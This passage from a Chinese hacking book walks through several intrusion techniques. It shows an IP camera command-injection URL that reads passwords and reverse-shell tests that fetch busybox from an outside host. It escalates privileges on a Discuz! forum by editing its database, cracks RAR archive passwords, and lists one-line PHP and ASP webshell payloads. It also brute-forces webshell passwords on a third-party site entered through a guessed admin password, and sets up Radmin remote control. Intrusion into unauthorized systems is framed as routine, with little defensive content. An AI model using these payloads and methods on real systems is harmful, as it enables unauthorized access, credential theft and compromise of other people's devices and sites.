使用命令“shell?cat%20/tmp/usrm.ini”可以直接获取访问密码。访问http:// 210.21.34.206/shell?cat%20/tmp/usrm.ini，可以知道默认管理员密码为空，如图7-18所示。将默认密码进行修改，然后重新访问，其密码已经被明文写入/tmp/usrm.ini文件，如图7-19所示。

图7-18 直接获取管理员密码

图7-19 修改后的密码以明文保存

5.获取无线网络的密码

在该网络摄像头的“设置”页面可以直接获取其无线AP的名称及密码，如图7-20所示。

图7-20 获取无线AP的名称及密码

6.反弹Shell测试

对部分目标进行了反弹Shell测试，结果均成功。可能是因为没有写权限，所以下载的http://212.111.43.161/busybox文件约为100MB。

7.3.3 防范措施及建议

目前网上已经出现利用该漏洞的恶意程序，而官方尚未发布相应的补丁。用户可采取以下措施对设备进行加固。

修改默认root密码为其他强健密码。

不要对外提供Web访问机制。也可以将地址设置为一个复杂的名称，使其默认地址不被访问。

对写服务器操作进行严格限制。

修改用户“admin”的默认密码。

参考文章

http://www.freebuf.com/tools/5950.html

http://www.ijiandao.com/safe/cto/5450.html

http://www.myhack58.com/Article/html/3/8/2015/64210.htm

http://hb.ifeng.com/3c/detail_2014_04/04/2083399_0.shtml

http://security.zol.com.cn/443/4439365_all.html

http://bobao.360.cn/news/detail/1388.html

http://www.myhack58.com/Article/html/2/5/2015/58087.htm

http://drops.wooyun.org/category/papers

7.4 Discuz! 管理员复制提权技术

使用Discuz! 建设论坛方便、快捷，不仅能够满足功能需求，而且安全性在同类软件中是最高的，因此深受广大用户的喜爱。

网络攻防技术研究的核心就是获取用户数据，以及获得系统的完全控制权限。本节主要针对如何获得Discuz! 数据库管理员权限展开研究。在某些情况下，我们完全可以获取一个WebShell。在获取WebShell的情况下，可以进一步获取MySQL等有关数据库连接的用户名和密码等信息。由于Discuz! 特有的加密方式，即使通过SQL注入猜解获取了Discuz! 论坛管理员的密码，也是无法破解的。因此，如何通过操作数据库来获得管理员权限尤为重要。本节研究的技术可以应用在以下两个方面。

恢复论坛管理员的密码。对Discuz!论坛管理员来说，如果忘记了密码，将无法管理整个论坛，因此必须想办法恢复。

提升权限，获取用户数据库文件。在得到WebShell的情况下，通过本节讨论的技术可以很容易地进行查看管理员信息、修改论坛设置、备份数据库等操作，还可以让普通用户获得管理员权限。

搭建的实验环境如下。

数据库：MySQL 5.1

MySQL数据库客户端管理软件：MySQL-Front

Discuz! 7.0（下载地址：http://download.comsenz.com/Discuz）

7.4.1 Discuz! 论坛的加密方式

Discuz! 6.X及之后的Discuz! 7.0都采用MD5多重加密，其加密函数有checkmd5和authcode。如果以默认方式安装Discuz!，这些函数存在于“include”目录下的global.func.Php文件中。

采用salt方式随机获得一个字符串，然后对明文密码采取MD5加密，再与随机字符串连接起来，对连接后的字符串进行MD5加密。加密密码的函数为md5(md5 ($newpw).$salt)。其中，$salt为随机的，返回的字符串为$hash，大大提高了用户密码的安全性。

1.checkmd5函数

checkmd5函数的代码如下。

function checkmd5($md5, $verified, $salt = '') {
 if(md5($md5.$salt) == $verified) {
  $result = !empty($salt) ? 1 : 2;
 } elseif(empty($salt)) {
  $result = $md5 == $verified ? 3 : ((strlen($verified) == 16 &amp;&amp;
substr($md5, 8, 16) == $verified) ? 4 : 0);
 } else {
  $result = 0;
 }
 return $result;
}

以上代码主要度对密码进行检测，有3个参数，分别是“@param string $md5”、“@param string $verified”、“@param string $salt”。返回值为0表示失败；为1表示采用MD5 with salt方式；为2表示采用Dual MD5方式；为3表示采用正常的MD5加密方式；为4表示采用MD5-16方式。

2.authcode函数

authcode函数的代码如下。

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

 $ckey_length = 4;
 $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);
 $keya = md5(substr($key, 0, 16));
 $keyb = md5(substr($key, 16, 16));
 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0,
$ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

 $cryptkey = $keya.md5($keya.$keyc);
 $key_length = strlen($cryptkey);

 $string = $operation == 'DECODE' ? base64_decode(substr($string,
$ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr
(md5($string.$keyb), 0, 16).$string;
 $string_length = strlen($string);

 $result = '';
 $box = range(0, 255);

 $rndkey = array();
 for($i = 0; $i <= 255; $i++) {
  $rndkey[$i] = ord($cryptkey[$i % $key_length]);
 }

 for($j = $i = 0; $i < 256; $i++) {
  $j = ($j + $box[$i] + $rndkey[$i]) % 256;
  $tmp = $box[$i];
    $box[$i] = $box[$j];
  $box[$j] = $tmp;
 }

 for($a = $j = $i = 0; $i < $string_length; $i++) {
  $a = ($a + 1) % 256;
  $j = ($j + $box[$a]) % 256;
  $tmp = $box[$a];
  $box[$a] = $box[$j];
  $box[$j] = $tmp;
  $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
 }

 if($operation == 'DECODE') {
  if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() >
0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0,
16)) {
   return substr($result, 26);
  } else {
   return '';
  }
 } else {
  return $keyc.str_replace('=', '', base64_encode($result));
 }

}

以上代码主要用来加密或者解密用户信息，其参数的意义如下。

@param $string：加密或解密的串。

@param $operation：加密或解密。

@param：密钥。

@return：返回字符串。

$ckey_length为随机密钥长度，取值范围0～32。加入随机密钥，可以使密文没有任何规律，即使原文和密钥完全相同，加密结果也每次都会不同，进而使破解难度大大提高。$ckey_length取值越大，密文变动越大，密文变化为16的$ckey_length次方。此值为0时，不产生随机密钥。

7.4.2 使用MySQL-Front管理MySQL数据库

下面讨论使用MySQL-Front管理MySQL数据库的相关内容。

1.设置MySQL-Front

MySQL-Front是一款MySQL客户端管理软件，可以对MySQL数据库实现图形界面管理，软件下载地址为http://www.mysqlfront.de/download.html。

安装MySQL-Front后直接运行，如图7-21所示。“信息”标签页主要用于显示名称，可以随意设置。主要的设置在“注册”标签页进行，“用户”和“密码”需要手工输入，“数据库”可以手工输入，也可以通过程序自动获取。设置完毕，单击“确定”按钮，保存数据库设置并回到MySQL的“打开登录信息”窗口。

图7-21 设置MySQL-Front

说明

（1）管理MySQL数据库的软件很多，也可以通过phpMyAdmin进行在线管理，其下载地址为http://www.phpmyadmin.net。

（2）本例中使用客户端软件来管理MySQL数据库是因为其方便快捷。当然，熟悉MySQL命令的朋友也可以手工在命令提示符下执行数据库操作。

2.连接MySQL数据库

在“打开登录信息”窗口选择刚才设置的MySQL数据并打开，如图7-22所示，在MySQL-Front中常用的4个按钮为“对象浏览器”、“数据浏览器”、“SQL编辑器”和“图表”。“对象浏览器”按钮主要用来浏览有哪些表，“数据浏览器”按钮主要用来查看选中数据库的表中的数据，“SQL编辑器”按钮主要用来执行SQL语句，“图表”按钮主要用来与“对象浏览器”按钮进行切换。更多好用的功能和技巧需要读者自己揣摩，就不在此赘述了。

图7-22 打开MySQL数据库

7.4.3 实施管理员复制

下面我们实施管理员复制。

1.注册网站用户

在实施管理员复制前，需要在网站注册一个用户名。在本例中，注册普通用户“cxb”，密码为“test”。注册成功后，使用该用户进行登录，如图7-23所示。

图7-23 使用注册账号登录网站

2.通过MySQL-Front查看已注册用户信息

在MySQL-Front中查看已经注册的用户信息。选中Discuz!论坛的用户注册表“*_members”，其中“*”为安装时设置的名称。如图7-24所示，在本例中为“antian_ members”，该表中保存的是用户注册的信息，单击“数据浏览器”按钮，可以看到该用户的一些详细注册信息。

图7-24 查看选定用户的详细注册信息

3.修改普通用户为管理员用户

在antian_members表中将用户“cxb”的“adminid”值由“0”修改为“1”，将“groupid”的值由“12”修改为“1”，然后单击发布按钮使修改生效，至此已经将普通用户“cxb”变成管理员用户。在登录的网页中刷新一下，再次查看用户个人信息，如图7-25所示，用户“cxb”的用户组已经升级为“Administrator”，可以行使管理员权限了。

图7-25 普通用户已经升级为管理员

7.4.4 管理员密码丢失解决方案

如果管理员将密码丢失，会造成很多严重的问题，下面给出管理员密码丢失的解决方案。

1.修改管理员密码为已知用户密码

使用MySQL-Front打开myuc_members表后，单击工具条下面的“数据浏览器”按钮，查看myuc_members表中的数据，如图7-26所示，先将用户“admin”的“password”值复制到本地进行备份，以备出现错误后进行恢复。将已知用户的密码值（“password”中的值）复制到用户“admin”的数据中，以替代原来的值。

图7-26 修改管理员密码为已知用户密码

2.修改salt

在Discuz! 论坛中，用户的密码不是普通的加密，而是经过变异的加密，因此还需要保证管理员的密码与已知用户的salt一致。如图7-27所示，将管理员与已知用户的salt修改成相同的值。

图7-27 修改salt的值

3.修改安全问题答案

Discuz! 论坛的登录模块单独设置了安全提问，如图7-28所示。一共有7个安全提问，用户注册成功后可以在个人中心的“密码和安全问题”中进行设置，每一个安全提问根据答案生成一串8位的加密字符串，密码不同，安全字符串也不同。因此，如果要让管理员用户使用普通用户的安全提问，则需要将管理员的“secques”设置成普通用户的“secques”，反之，则需要将普通用户的“secques”设置成管理员的“secques”。如图7-29所示，将已知用户的“secques”替换管理员的“secques”，然后使用普通用户的安全提问代替管理员的安全提问进行登录。

图7-28 安全提问

图7-29 修改安全提问secques值

至此，有关Discuz! 论坛管理员与普通用户之间的身份转换已经完成，使用修改后的密码和问题答案即可登录。登录后，用户身份为管理员，如图7-30所示，可以对论坛系统进行管理。

图7-30 登录后台进行管理

7.4.5 小结与探讨

本节探讨了Discuz!论坛的加密方法，通过实际案例讲解了如何通过操作MySQL数据库来更改用户身份，即通过修改普通用户的adminid、groupid、secques和password的值，可以使“普通用户”变成“管理员”，行使管理员权限。同时，该方法也适用于管理员丢失或者忘记了管理密码的情况。通过该方法可以重新设置密码，并行使管理员权限。

写完本节内容后，笔者又发现该管理员密码可以直接使用PasswordPro进行破解，由于篇幅关系就不在本节进行探讨了。

关于Discuz!论坛的安全问题还有很多话题，如通过脚本来嗅探或者记录用户名和密码。在Discuz!论坛数据库中，用户密码字段生成的是密文，网上也有一些脚本可以直接用来记录用户的登录密码。

7.5 RAR加密文件的破解

安全意识比较强的人一般都会对文件进行加密，如使用RAR自带的加密功能进行加密。当然，网上也有很多提供资料下载的网站，这些网站中绝大部分文件都是采用RAR加密的方式来保护资料不被未授权人查看的，要想看资料，必须付费获取RAR加密文件的密码。加密不是绝对的，虽然没有什么好的技巧来破解RAR加密文件，但是可以通过字典文件、暴力破解及掩码等方式对RAR加密文件进行破解。网上有很多破解RAR加密文件的软件，笔者感觉最好用的还是Advanced RAR Password Recovery，该软件运行速度快，设置简单。

7.5.1 设置Advanced RAR Password Recovery

Advanced RAR Password Recovery（ARPR）是Elcomsoft公司（http://www. elcomsoft.com/）研发的一款破解由WinRAR生成的RAR压缩文件密码的软件，最新版本为3.01。ARPR可以估算破解密码所需要的时间，还可以中断计算和恢复前次计算，其注册版可以解开长达128位的密码，支持可定制的暴力破解及字典破解等。

本案例中使用的是ARPR 1.11汉化版，因此直接运行主程序即可。在主界面中对ARPR进行设置，如图7-31所示，在“优先级选项”设置区选中“后台”单选按钮，并勾选“运行记录到arpr.log”复选框，然后单击“注册”按钮，输入汉化作者提供的注册码进行注册，最后在“语言”下拉列表中选择“简体中文”选项。

图7-31 设置ARPR 1.11

说明

在ARPR 1.11中设置自动保存破解结果，如图7-32所示，选中“保存项目”复选框，并设置自动保存时间，然后设置一个自动保存的目录。

图7-32 自动保存破解结果

7.5.2 使用字典文件进行破解

切换到“选项”标签页，在“攻击类型”设置区选中“字典文件”单选按钮。单击“字典文件”选项卡，选择字典文件，然后单击“开始”按钮进行破解，如图 7-33所示。

图7-33 使用字典文件进行破解

说明

（1）ARPR 1.11只能破解WinRAR 3.5及以下版本的文件。要想破解WinRAR 3.5以上版本的文件，需要使用ARPR 3.0。

（2）使用字典文件进行破解是最快捷的方式，可以知道破解大概需要的时间。

图7-34 破解结果

ARPR 1.11破解结束后会给出一个“找不到密码”的提示，在该提示中会显示“密码总计”、“时间总计”、“平均速度”等信息，如图7-34所示。

说明

ARPR破解RAR文件的密码时，会生成一个破解日志记录。直接访问ARPR 1.11的目录，打开日志文件arpr.log，如图7-35所示，即可查看破解记录。

图7-35 查看破解日志

7.5.3 使用暴力破解方式破解密码

在很多情况下，通过字典文件无法成功破解，这时就需要进行暴力破解。如图7-36所示，在“攻击类型”设置区选中“暴力攻击”单选按钮，在“长度”标签页分别设置最小密码长度为“1”，最大密码长度为“9”，然后单击“开始”按钮进行破解。

图7-36 使用暴力破解方式进行破解

说明

ARPR可以在命令行模式进行破解。命令“arpr.exe /a:b /c:cs /min:2 /max:5 /smartexit test.rar”表示暴力破解test.rar文件，最小密码长度为2，最大密码长度为5，破解完成后保存结果并退出。关于RAR命令行破解参数，读者可以自行参考该软件的帮助文件。

7.5.4 小结

本案例介绍了如何使用字典文件和暴力两种方式来破解RAR加密文件。ARPR可以在DOS下进行破解并保存结果，这在网络攻防过程中提供了很大的发挥空间。如果遇到难以破解的RAR加密文件，则可以分段在肉机上进行破解。

7.6 一句话密码破解获取某网站WebShell

一句话后门是Web渗透中用得最多的必备工具，目前流行的一句话后门有ASP、ASP.NET、JSP和PHP 4种类型。

一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作，在数据库表或者相应字段插入“>%execute request("pass")%<”、“>%evalrequest ("pass")%<”、“>?php eval($_POST[pass])?<”、“>?php@eval($_POST[pass])?<”、“>%@ PageLanguage="Jscript"%<”、“>%eval(Request.Item["pass"],"unsafe");%<”等代码，然后通过“中国菜刀”、Lake一句话后门客户端等工具进行连接。只需要知道上述代码插入的具体文件及连接密码，即可进行一些WebShell的操作，是基于B/S结构的架构。一句话后门是黑客入侵成功的标志和常用后门，在渗透过程中，如果发现一句话后门，就可以通过对一句话后门进行破解，从而获得网站的权限。

7.6.1 获取后台权限

对某网站进行安全检测。通过WVS等扫描工具对目标站点进行扫描，没有发现可以利用的明显漏洞，通过社工猜测出网站管理员admin的密码，如图7-37所示，成功进入后台。

图7-37 登录WordPress后台

7.6.2 尝试提权

获取管理员权限后，通过查看和编辑页面内容，在页面内容中插入一句话后门代码，如图7-38所示，无法保存修改后的文件，该文件及文件夹无写权限。

图7-38 尝试向网站写入文件

在上传图像模块选择图像文件进行上传，如图7-39所示，无法上传文件。与前面一样，文件夹设置了权限，看来WordPress的常见提权方法是行不通的。

图7-39 无法上传文件

7.6.3 列目录及文件漏洞

该目标站点还存在列目录及文件漏洞，如图7-40所示，可以查看图像文件等。在“images”文件夹下发现gif.php文件，因为该文件可以通过浏览器访问，大小为27字节，所以该文件为一句话后门的可能性极高。

图7-40 列目录及文件漏洞

7.6.4 一句话密码破解

打开ASP PHP ASPX一句话密码暴力猜解工具，如图7-41所示，在“地址”文本框中输入目标网站地址，发现的一句话后门文件的地址为“http://www.somesite.com/ images/gif.php”。选择全部字符，设置位数为“3”，脚本为“php”，单击“破解”按钮，开始对一句话后门进行破解。

图7-41 对一句话后门密码进行破解

7.6.5 获取目标WebShell权限

在“中国菜刀”中新增一个后门记录，输入地址和密码，如图7-42所示，成功获取目标站点的权限。

图7-42 获取目标WebShell的权限

7.6.6 小结

通过本次渗透，我们熟悉和掌握了WordPress管理员提权的方法。在获取管理员权限后，可以通过修改页面文件插入一句话后门直接获取WebShell，还可以直接上传后门文件获取WebShell。

在权限设置严格的情况下，可以通过其他漏洞获取权限，如文件名称和目录信息泄露等。在本例中，找到早期入侵者留下的Shell，通过破解一句话后门成功获取网站权限。

7.7 使用Burp Suite破解WebShell密码

Burp Suite是用于攻击Web应用程序的集成平台，其中包含许多工具，并为这些工具设计了许多接口，以加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息、持久性、认证、代理、日志、警报的强大的、可扩展的框架。Burp Suite的运行需要Java环境的支持。

7.7.1 应用场景

在渗透测试过程中，目标如果被黑客入侵过，在扫描过程中会发现入侵者留下的WebShell等，但WebShell一般都有密码，如图7-43所示。如果能够获取其密码，就能顺利进入目标系统。WebShell有一句话型的，也有大马型的，本例中为大马。

图7-43 WebShell大马

7.7.2 安装与设置

Proxy（代理）是拦截HTTP/S的代理服务器，可作为浏览器和目标应用程序的中间人，允许使用者拦截、查看、修改两个方向上的原始数据流。

01 设置代理服务器

确认安装了Java环境后，打开浏览器进行设置。对IE浏览器，如图7-44所示，依次单击“设置”→“Internet选项”→“连接”→“局域网设置”→“代理服务器”选项，设置地址为127.0.0.1，端口为8080。对Chrome浏览器，则依次单击“设置”→“高级设置”→“网络”→“更改代理服务器设置”选项进行设置。

02 查看Burp Suite代理状态

运行Burp Suite，依次单击“Proxy”→“Options”选项，如图7-45所示，代理端口是8080，状态为正在运行。为浏览器设置代理后，就可以成功抓取浏览器数据了。

图7-44 设置IE浏览器

图7-45 查看Burp Suite的设置状态

03 拦截设置

在“Proxy”标签页单击“Intercept”标签，然后单击“Intercept is on”按钮，开始进行拦截，如图7-46所示。此时，“Intercept is on”按钮会变成“Intercept is off”按钮，单击“Intercept is off”按钮表示关闭拦截。单击“Forward”按钮表示放行，单击“Drop”按钮表示丢弃。

图7-46 拦截设置

7.7.3 破解WebShell的密码

接下来就可以破解WebShell的密码了。

01 抓取密码信息

打开目标WebShell的地址http://127.0.0.1/90sec.php，先随意输入一个密码，提交后在Burp Suite中单击“Forward”按钮对拦截进行放行。Burp Suite抓到了两个数据包，第一个是浏览器访问Shell所发出的GET请求包，第二个是输入密码之后发送的POST请求包。选中“Method”列为“POST”的记录，单击鼠标右键，在弹出的快捷菜单中选择“Send to Intruder”选项，把第二个POST请求包发送到“Intruder”（入侵者）标签页进行破解，如图7-47所示。

图7-47 将包发送到Intruder标签页

02 设置密码参数

在“Positions”标签页设置“Attack Type”（功能类型）为默认值“Sniper”，选中Cookie，单击“clear$”按钮，去掉其中的“$”符号，然后单击“Add$”按钮，增加破解密码的参数，如图7-48所示。需要将密码前面的值去掉，同时清除Cookie内容“ASPSESSIONIDCATBRDTD =EMPJNHNALLEHBHIKGGFGENCM”后面的“$”符号。

图7-48 设置破解密码的参数

03 设置破解密码字典

单击“Payloads”标签页，这里有密码字典的一些配置项。单击“Clear”按钮清除之前的密码字典设置，然后单击“Load…”按钮，从文件导入密码。如图7-49所示，已经导入了密码字典。

图7-49 设置密码字典

04 设置密码，提交错误过滤信息

单击“Options”标签页，该页主要设置错误信息的过滤规则，也就是说，如果是错误结果的则继续进行破解。这里需要针对不同的情况进行设置。如图7-50所示，单击“Clear”按钮清除默认设置。

图7-50 设置过滤信息

在WebShell地址中输入任意密码，如图7-51所示，获取信息错误的反馈页面，并获取错误关键字“密码错误不能登录！”。

图7-51 获取错误关键字

在“Add”按钮后的文本框中输入关键字并单击该按钮，如图7-52所示，密码暴力破解设置完成。

图7-52 添加过滤关键字

05 破解WebShell密码

依次单击“Intruder”→“Start Attack”选项开始进行攻击测试，在攻击响应页面中可以看到前面所设置的密码发送的每一个请求，在“Status”列会返回状态代码。如图7-53所示，密码“00sujung”即为WebShell密码。

图7-53 成功破解WebShell密码

状态反馈代码的具体含义如下。

200：返回正常，即服务器接受了我们的请求并返回响应结果，通常说明这个页面是存在的，发送的请求是被允许的。

302：返回错误，即服务器接受了我们的请求，但是需要更多操作来获取返回结果。例如，跳转到新的页面时，因为我们都知道Shell密码输入后会跳转到响应的功能页面，所以就会产生这样的错误。

06 成功获取WebShell

在WebShell密码框中输入刚才破解出来的密码“00sujung”，成功登录WebShell，如图7-54所示，成功破解WebShell密码。

图7-54 成功获取WebShell

7.8 Radmin远控口令攻防全攻略

Radmin是一款世界知名的远程控制软件，其完全控制、文件传输、Telnet命令等功能非常好用。在Radmin 3.0以前的版本中，杀毒软件都不对其进行查杀，后期，由于黑客和病毒大量使用R_server作为媒介，因此将R_server作为安全威胁处理。目前，一些以主动防御为主的杀毒软件及防火墙会主动将R_server列入黑名单。尽管如此，Radmin还是深受网络安全爱好者的喜爱。有关Radmin的研究，国内安全组织有很多文章和软件作品。例如，Radmin Hash连接器只要获取Radmin的密码Hash值，就可以直接进行连接，而不需知道其密码。

本节将从网络攻防的角度介绍Radmin软件。通过本节的学习，读者可以掌握很多有关Radmin攻击和防护的知识。

7.8.1 Radmin简介

“Radmin”是“Remote Administrator”的简称，其官方网站（http://www.radmin.com）的解释为“PC Remote Control Software and Remote Access Software”（PC远程控制和远程访问软件）。Radmin是一款屡获殊荣的远程控制软件，目前新版本为3.4，它将远程控制、外包服务组件及网络监控整合到一个系统里，提供目前为止最快速、最强健且最安全的工具包。

1.主要特点

（1）最高工作速度

Radmin是目前速度最快的远程控制软件，其Direct Screen Transfer?技术采用了视频挂钩内核模式驱动程序，将捕捉率提高到每秒数百次屏幕更新。通过其特别的低带宽优化功能，可以在使用拨号调制解调器和GPRS连接的情况下顺利地工作。

（2）最高安全级别

Radmin以加密模式工作，为所有连接到远程计算机的数据、屏幕图像、鼠标移动和键盘信号采用随机生成的密钥256位AES强加密，而且可以使用Windows Security或Radmin Security。Windows安全性支持对特定用户使用不同的权限，或者对主域、可信域和活动目录的用户组使用不同的权限，支持自动使用登录用户凭证和Kerberos验证。Radmin安全性支持对添加到Radmin Server访问列表中的用户使用不同的权限。Radmin用户验证使用新的基于Diffie-Hellman的密钥交换机制，密钥长度为2 048位。IP Filter仅允许从特定IP地址和网络访问Radmin Server。通过Radmin可以查看添加到日志文件的DNS名称和用户名信息。Radmin提供了智能防护密码猜测机制，5次密码登录错误后自动进行延迟。

（3）硬件支持英特尔®AMT新产品远程控制

Radmin 3.4支持英特尔®AMT（主动管理技术），它允许进行远程计算机控制（即使是关闭或无法启动操作系统）。可以使用Radmin浏览器打开、重新启动和关闭远程计算机。Radmin还能使用户查看和修改远程计算机的BIOS设置，并从本地CD或磁盘映像文件启动远程计算机。

（4）全面兼容Windows 7新功能

Radmin 3.4完全支持Windows 7 32位和64位操作系统，包括用户账户控制和快速用户切换。Radmin 3.4的服务端支持Windows 7/Vista/XP/2008/2003/2000（32位）和Windows 7/Vista/XP/2008/2003（64位）操作系统。Radmin 3.4的浏览器端支持Windows 7/Vista/XP/2008/2003/2000/Me/98/95/NT4.0（32位）和Windows 7/Vista/XP/2008/2003（64位）操作系统。

（5）操作简单，支持多连接

Radmin支持被控端以服务的方式运行，支持多个连接和IP地址过滤（即允许特定的IP地址控制远程机器）、个性化的文档互传、远程关机，支持高分辨率模式、基于Windows NT的安全支持和密码保护，以及提供日志文件等。Radmin目前支持TCP/IP协议，应用十分广泛。

2.软件组成

Radmin分为服务端（Radmin Server）和浏览器端（Radmin Viewer）两个部分，在早期版本中，这两个部分是集成在一起的，在Radmin 3.0以后就将其分开了。浏览器端即Radmin.exe，服务端即早期的R_server.exe。在后续版本中增加了一些功能，服务端的名称也进行了更改。服务端主程序由“R_server.exe”更名为“rserver3.exe”，其安装文件路径由“C:\Program Files\Radmin”变为“C:\ WINDOWS\system32\rserver30”，共有25个主要程序文件。

7.8.2 Radmin的基本操作

下面介绍Radmin的基本操作。

1.安装浏览器端和服务端

Radmin服务端和浏览器端的安装方法很简单，只要按照提示进行操作即可。目前该软件的语言以英语为主。

2.服务端详细设置

01 设置主窗口

依次单击“开始”→“程序”→“Radmin Server 3”→“Setting For Radmin Server”选项，进入Radmin Server设置窗口，如图7-55所示。Radmin Server的所有设置都是通过该窗口完成的。在Radmin 3.0以前的版本中，还可以通过命令行进行设置。

图7-55 Radmin Server设置窗口

02 输入注册码

在设置窗口中单击“Enter license”按钮，在弹出的“License Code”对话框中输入注册码，否则在30天试用期结束后，客户端将无法连接服务端，需要输入正确的注册码后才能使用，如图7-56所示。

03 设置Radmin Server选项

在设置窗口中单击“Options…”按钮，会打开一个选项设置窗口，如图7-57所示。在该窗口中，有“General”（普通）、“Miscellaneous”、“IP Filter”（IP地址过滤）、“Language”（语言）、“Chat Options”（聊天选项）和“ Voice Chat Options”（语音聊天选项）六大功能。

图7-56 输入注册码

图7-57 选项设置窗口

（1）普通设置

在普通设置中，有“Port”（端口）、“Tray icon”（托盘图标）、“Incoming connection dialog”（连接对话框）和“Logging”（日志）四大选项。Radmin Server的默认端口为“4899”，如果需要更改该端口为自定义的未使用端口，可以取消勾选“Use default port”，同时在下面的输入框中输入自定义的端口号。

托盘图标主要用于设置是否在计算机上显示连接图标，默认为显示。该图标一般在任务栏右下角，双击该图标可以查看当前的连接，并显示“Incoming connections are accepted on port 4899”提示信息。在Radmin Server 2.x版本中，可以设置不显示该图标；在Radmin Server 3.x版本中，该图标有两种设置方式，分别是“Show in System Tray”和“Always Show”。

“Incoming connection dialog”选项主要用于设置用户访问许可，有两种方式供用户选择，一种是访问超时后自动拒绝访问，另一种是超时后自动允许访问，默认为第一种方式。在该选项中，可以设置Timeout的默认时间，默认为10秒。一般情况下，可以将该时间修改得长一些，如100秒。

“Logging”选项主要用于记录错误日志和访问日志。在日志下方，用户可以根据实际情况选择记录“All errors”、“No errors”、“Critical errors”、“Medium errors”和“Small errors”这5种错误之一。选中“Use Event Log”选项表示记录使用事件日志，选中“Use Logfiles”选项表示记录用户登录日志。在默认情况下，日志记录文件为C:\WINDOWS\ system32\rserver30\Radm_log.htm，用户可以根据实际情况重新设定记录日志文件的位置及名称。日志设置完毕，客户端连接或者服务端启动等信息都会详细记录在Radm_log.htm文件中。如图7-58所示，该文件就记录了Radmin Server的具体情况。

图7-58 日志详细记录

（2）“Miscellaneous”设置

“Miscellaneous”设置非常有用，如图7-59所示，需要禁用哪个功能，就选中该功能前的复选框即可。在“Disable connection mode”（禁用连接模式）设置区中有如下9个选项。

Disable Remote Screen Control：禁用远程屏幕控制功能，即禁用完全控制功能。

Disable Remote Screen View：禁用远程屏幕浏览功能。

Disable File Transfer：禁用文件传输功能。

Disable Telnet：禁用Telnet功能。

Disable Redirect：禁用重定向功能。该功能主要用于内网代理或者外网代理，即通过某一个Radmin服务端访问其他的Radmin服务端。

Disable Shutdown：禁用关闭计算机功能。

Disable Text Chat：禁用文本聊天功能。

Disable Audio Chat：禁用语音聊天功能。

Disable Send Message：禁用发送消息功能。

Do not resolve IP addresses to hostname：不将IP地址解析为主机名。

（3）IP地址过滤设置

IP地址过滤，顾名思义，就是允许指定的IP地址或者IP地址范围访问。设置该功能后，从网络上能够看到4899端口开放，却无法通过Radmin客户端连接访问。如图7-60所示，在“IP Filter”设置中勾选“Enable IP Filter”复选框，接着单击“Add”按钮，添加允许的IP地址或者IP地址范围。对于已经添加的IP地址或者范围，如果不再使用或者不再允许访问，只要选中后单击“Remove”按钮将其移除即可。

图7-59 Miscellaneous设置

图7-60 设置IP过滤

（4）语言设置

尽管Radmin官方声称支持多种语言，但实际测试中发现并非如此，也许是因为缺少相应的语言文件吧。语言设置很简单，需要使用哪种语言，就选择哪种语言。

（5）聊天选项设置

在Radmin 3.2及后续版本中加入了聊天功能，主要用于控制端与被控制端之间的交流。如图7-61所示，如果使用聊天功能，则可以设置服务端聊天显示的昵称，在“Nick name”文本框中输入昵称即可，默认昵称是“user”，在“User information”文本框中可以填写简单的用户介绍。在Radmin中，还可以对聊天界面的外观进行设置，如图7-62所示，可以设置聊天文字样式等。

图7-61 聊天设置

图7-62 设置聊天外观

在“Additional”（附加）选项中，可以设置是否显示自己的昵称、每一条消息发送的时间戳，是否对聊天发起方连接及断开的确认，是否允许使用特殊的命令，以及是否记录聊天日志等，如图7-63所示。

（6）语音聊天设置

语音聊天设置与聊天设置类似，如图7-64所示，唯一不同的是需要设置声卡设备。

图7-63 聊天附加选项设置

图7-64 语音聊天设置

04 安全许可设置

Radmin中的“Permissions”是最重要的设置之一。在Radmin主窗口单击“Permissions”选项，打开“Radmin Server Security Mode”对话框，如图7-65所示。该对话框提供了两种安全设置，一种是“Radmin Security”，另一种就是“Windows NT Security”。单击选中需要使用的安全设置，然后单击“Permissions”按钮，进入详细设置界面。

图7-65 选择安全模式

（1）“Radmin Security”安全模式

图7-66 设置Radmin Security安全模式

在“Radmin Security”安全模式中，需要添加用户。如图7-66所示，单击“Add User”按钮添加一个用户后，再进行详细设置。如果是完全访问，则勾选“All Access”复选框即可，否则应根据实际需要进行选择。一共有如下10种权限供用户选择。

All Access：完全访问。

Remote Screen Control：远程屏幕控制。

Remote Screen View：远程屏幕浏览。

Telnet：Telnet命令执行模式。

File Transfer：文件传输。

Redirect：重定向。

Text Chat：聊天。

Audio Chat：语音聊天。

Send Message：发送消息。

Shutdown：关闭计算机。

（2）“Windows NT Security”安全模式

图7-67 Windows NT Security设置

选择“Windows NT Security”设置后，将按照Windows用户域模式进行安全管理。如图7-67所示，单击“添加”按钮，从Windows用户管理器中添加一个用户，然后在“Administrators的权限”设置区中进行设置。使用“Windows NT Security”安全模式时，结合Windows文件权限管理进行更加细致的设置，即可以授予用户特别的权限。

7.8.3 Radmin的使用

打开“Radmin Viewer”窗口，如图7-68所示，该界面是Radmin客户端管理主界面，对Radmin服务端的所有操作都能在这个界面中完成。“Radmin Viewer”窗口有一个英文菜单和工具栏，工具栏中各按钮的功能依次为连接一个地址、新建一个连接、删除连接地址、查看地址属性、屏幕完全控制、屏幕浏览、Telnet、文件传输、关闭计算机、聊天、语音聊天、发送消息、选择图标浏览方式、以文件夹方式浏览、查看在线计算机。在Radmin Viewer中是通过IP地址来进行管理的。

1.新建连接

在“Radmin Viewer”窗口依次单击“Connection”→“New Connection”选项，或者在工具栏中单击第二个图标，即可在Radmin客户端中打开新建连接窗口。如图7-69所示，在“IP address or DNS”文本框中输入IP地址或者DNS地址，“Name of entry”文本框中显示的是在“Radmin Viewer”窗口中显示的名称，如果是新建连接，不需要输入该名称，默认是IP地址的名称。在本例中，输入的IP地址为192.168.209.130，端口使用默认的4899。设置完成后，就会在Radmin客户端中以IP地址进行显示。

图7-68 Radmin客户端管理主界面

图7-69 新建一个连接

2.Telnet连接服务端

